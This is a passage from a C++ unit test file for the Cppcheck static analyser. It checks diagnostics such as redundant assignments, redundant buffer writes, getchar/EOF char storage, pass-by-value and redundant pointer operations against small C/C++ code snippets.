false);\n ASSERT_EQUALS(\"[test.c:3:24] -> [test.c:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n check(\"void ConvertBitmapData(sal_uInt16 nDestBits) {\\n\"\n \" BitmapBuffer aSrcBuf;\\n\"\n \" aSrcBuf.mnBitCount = nSrcBits;\\n\"\n \" BitmapBuffer aDstBuf;\\n\"\n \" aSrcBuf.mnBitCount = nDestBits;\\n\"\n \" bConverted = ::ImplFastBitmapConversion( aDstBuf, aSrcBuf, aTwoRects );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24] -> [test.cpp:5:24]: (style) Variable 'aSrcBuf.mnBitCount' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n\n check(\"class C { void operator=(int x); };\\n\" // #8368 - assignment operator might have side effects => inconclusive\n \"void f() {\\n\"\n \" C c;\\n\"\n \" c = x;\\n\"\n \" c = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:5:7]: (style, inconclusive) Variable 'c' is reassigned a value before the old one has been used if variable is no semaphore variable. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_stackoverflow() {\n check(\"typedef struct message_node {\\n\"\n \" char code;\\n\"\n \" size_t size;\\n\"\n \" struct message_node *next, *prev;\\n\"\n \"} *message_list;\\n\"\n \"static message_list remove_message_from_list(message_list m) {\\n\"\n \" m->prev->next = m->next;\\n\"\n \" m->next->prev = m->prev;\\n\"\n \" return m->next;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_lambda() {\n // #7152\n check(\"int foo() {\\n\"\n \" int x = 0, y = 0;\\n\"\n \" auto f = [&]() { if (x < 5) ++y; };\\n\"\n \" x = 2;\\n\"\n \" f();\\n\"\n \" x = 6;\\n\"\n \" f();\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10228\n check(\"std::tuple g();\\n\"\n \"void h(int);\\n\"\n \"void f() {\\n\"\n \" auto [a, b] = g();\\n\"\n \" auto l = [a = a]() { h(i); };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_loop() {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i;\\n\"\n \" for (i = 0; i < 4; i++)\\n\"\n \" buf[i] = 131;\\n\"\n \" buf[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar() {\\n\" // #9262 do-while with break\n \" int x = 0;\\n\"\n \" x = 432;\\n\"\n \" do {\\n\"\n \" if (foo()) break;\\n\"\n \" x = 1;\\n\"\n \" } while (false);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FP\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++)\\n\"\n \" dostuff(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int num) {\\n\" // #9420 FN\n \" int a = num;\\n\"\n \" for (int b = 0; b < num; a = b++);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantVarAssignment_after_switch() {\n check(\"void f(int x) {\\n\" // #7907\n \" int ret;\\n\"\n \" switch (x) {\\n\"\n \" case 123:\\n\"\n \" ret = 1;\\n\" // redundant assignment\n \" break;\\n\"\n \" }\\n\"\n \" ret = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:8:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantVarAssignment_pointer() {\n check(\"void f(int *ptr) {\\n\"\n \" int *x = ptr + 1;\\n\"\n \" *x = 23;\\n\"\n \" foo(ptr);\\n\"\n \" *x = 32;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8997\n check(\"void f() {\\n\"\n \" char x[2];\\n\"\n \" char* p = x;\\n\"\n \" *p = 1;\\n\"\n \" p += 1;\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_pointer_parameter() {\n check(\"void f(int *p) {\\n\"\n \" *p = 1;\\n\"\n \" if (condition) return;\\n\"\n \" *p = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_array() {\n check(\"void f() {\\n\"\n \" int arr[10];\\n\"\n \" int i = 0;\\n\"\n \" arr[i] = 1;\\n\"\n \" i += 2;\\n\"\n \" arr[i] = 3;\\n\"\n \" dostuff(arr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantVarAssignment_switch_break() {\n // #10058\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" int ret = 0;\\n\"\n \" switch (a) {\\n\"\n \" case 1:\\n\"\n \" ret = 543;\\n\"\n \" if (b) break;\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:7:13]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n }\n\n void redundantInitialization() {\n setMultiline();\n\n check(\"void f() {\\n\"\n \" int err = -ENOMEM;\\n\"\n \" err = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: style: Redundant initialization for 'err'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:13]: note: err is initialized\\n\"\n \"[test.cpp:3:9]: note: err is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" struct S s = {1,2,3};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Redundant initialization for 's'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\"\n \"[test.cpp:2:16]: note: s is initialized\\n\"\n \"[test.cpp:3:7]: note: s is overwritten\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = NULL;\\n\"\n \" p = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10]: style: Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n // \"trivial\" initialization => do not warn\n check(\"void f() {\\n\"\n \" struct S s = {0};\\n\"\n \" s = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N { enum E {e0,e1}; }\\n\"\n \"void f() {\\n\"\n \" N::E e = N::e0;\\n\" // #9261\n \" e = dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10143\n \" std::shared_ptr i = g();\\n\"\n \" h();\\n\"\n \" i = nullptr;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #9815\n \" int i = g();\\n\"\n \" i = std::distance(v.begin(), std::find_if(v.begin(), v.end(), [=](int j) { return i == j; }));\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // cppcheck-suppress unusedPrivateFunction\n void redundantMemWrite() {\n // Simple tests\n // cppcheck-suppress unreachableCode - remove when code is enabled again\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" sprintf(a, \\\"foo\\\");\\n\"\n \" memmove(a, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void f(char *filename) {\\n\"\n \" char *p = strrchr(filename,'.');\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \" dostuff(filename);\\n\"\n \" strcpy(p, \\\"foo\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Writing to different parts of a buffer\n check(\"void f(void* a) {\\n\"\n \" memcpy(a, foo, bar);\\n\"\n \" memset(a+5, 0, bar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Use variable as second argument\n check(\"void f(void* a, void* b) {\\n\"\n \" memset(a, 0, 5);\\n\"\n \" memcpy(b, a, 5);\\n\"\n \" memset(a, 1, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // strcat is special\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" strcpy(a, foo);\\n\"\n \" strcat(a, bar);\\n\" // Not redundant\n \" strcpy(a, x);\\n\" // Redundant\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n // Tests with function call between copy\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" snprintf(a, foo, bar);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", errout_str());\n\n check(\"void* a;\\n\"\n \"void f() {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, 